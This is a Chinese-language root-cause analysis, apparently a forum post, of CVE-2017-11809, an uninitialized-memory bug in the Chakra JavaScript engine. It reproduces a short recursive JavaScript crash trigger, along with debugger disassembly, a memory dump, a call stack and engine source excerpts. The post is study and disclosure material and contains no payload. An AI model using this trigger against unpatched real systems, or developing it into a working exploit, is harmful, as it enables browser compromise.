[原创]【Chakra】CVE-2017-11809
POC
这个漏洞是10月份Chakra最新补丁所修补的,POC由韩国神童公布在Pj0
https://bugs.chromium.org/p/project-zero/issues/detail?id=1338&can=1&q=lokihardt%40google.com
function trigger() {
let a, b, c;
function g() {
trigger();
a, b, c;
}
g();
}
trigger();
分析
执行POC异常地点如下
00007FFC59B0D960 mov qword ptr [rsp+8],rcx 00007FFC59B0D965 sub rsp,28h 00007FFC59B0D969 mov eax,8 00007FFC59B0D96E imul rax,rax,0 00007FFC59B0D972 mov rcx,qword ptr [this] 00007FFC59B0D977 mov rcx,qword ptr [rcx] ===>00007FFC59B0D97A mov rcx,qword ptr [rcx+rax] 00007FFC59B0D97E call Math::PointerCastToIntegralTruncate<unsigned int> (07FFC596D4410h)
其中rcx的值为0x4208导致mov内存访问违例,分析发现rcx其实是ScopeSlots对象的private成员slotArray
class ScopeSlots
{
private:
Var* slotArray;
}
追溯slotArray的来源发现是由scopeSlots进行初始化的
Var * scopeSlots = (Var *)frameDisplay->GetItem(i); size_t scopeSlotcount = ScopeSlots(scopeSlots).GetCount(); // (size_t)scopeSlots
而scopeSlots是在frameDisplay中取出的,frameDisplay是传递的FrameDisplay对象指针
FrameDisplay * StackScriptFunction::BoxState::BoxFrameDisplay(FrameDisplay * frameDisplay)
继续跟踪frameDisplay的来源
if (callerFunctionBody->DoStackFrameDisplay())
{
Js::FrameDisplay *stackFrameDisplay = interpreterFrame->GetLocalFrameDisplay();
// Local frame display may be null if bailout didn't restore it, which means we don't need it.
if (stackFrameDisplay)
{
Js::FrameDisplay *boxedFrameDisplay = this->BoxFrameDisplay(stackFrameDisplay);
interpreterFrame->SetLocalFrameDisplay(boxedFrameDisplay);
}
}
可以看到stackFrameDisplay是在interpreterFrame中取出的
FrameDisplay* InterpreterStackFrame::GetLocalFrameDisplay() const
{
return this->localFrameDisplay;
}
localFrameDisplay 0x000000302c910490 0x000000302C910490 0000015927d40960 0000000000004208 `.?'Y....B...... 0x000000302C9104A0 0000000000000003 00007ffc59c4ee17 .........??Y?... 0x000000302C9104B0 000001611cf82164 0000000000000080 d!?.a... ?...... 0x000000302C9104C0 0000000000000001 00007ffc5a623a42 ........B:bZ?... 0x000000302C9104D0 0000000000000000 0000016127ea01d0 ........?.?'a... 0x000000302C9104E0 0000016127000000 000000302c9102c0 ...'a...?.?,0... 0x000000302C9104F0 0000015927c4f4f0 000000302c9102c0 ???'Y...?.?,0... 0x000000302C910500 0000015927d40960 000000015a0cd242 `.?'Y...B?.Z....
观察以下调用栈
Js::StackScriptFunction::BoxState::Box Js::StackScriptFunction::Box Js::StackScriptFunction::EnsureBoxed Js::JavascriptExceptionContext::SetThrowingFunction Js::JavascriptExceptionOperators::WalkStackForExceptionContext Js::JavascriptExceptionOperators::ThrowExceptionObjectInternal Js::JavascriptExceptionOperators::ThrowExceptionObject Js::JavascriptExceptionOperators::ThrowStackOverflow Js::JavascriptError::ThrowStackOverflowError Js::Exception::RaiseIfScriptActive JsUtil::ExternalApi::RaiseStackOverflowIfScriptActive Js::Throw::StackOverflow ThreadContext::ProbeStack Js::InterpreterStackFrame::ProcessUnprofiled Js::InterpreterStackFrame::Process Js::InterpreterStackFrame::InterpreterHelper Js::InterpreterStackFrame::InterpreterThunk
注意ThrowStackOverflowError,之所以会产生这个错误推测是因为poc递归的相互调用导致了栈空间被耗尽。
之后发生的事情与描述的一致,在InterpreterStackFrame::INTERPRETERLOOPNAME函数中,正常情况下是由this->InitializeClosures();对栈变量进行初始化的。但是由于poc耗尽了栈空间,导致PROBE_STACK函数直接抛出异常,而在异常处理函数中却引用了还未来的及初始化的栈变量,导致了内存未初始化漏洞。
Var Js::InterpreterStackFrame::INTERPRETERLOOPNAME()
{
PROBE_STACK(scriptContext, Js::Constants::MinStackInterpreter);
if (!this->closureInitDone)
{
// If this is the start of the function, then we've waited until after the stack probe above
// to set up the FD/SS pointers, so do it now.
Assert(this->m_reader.GetCurrentOffset() == 0);
this->InitializeClosures();
}
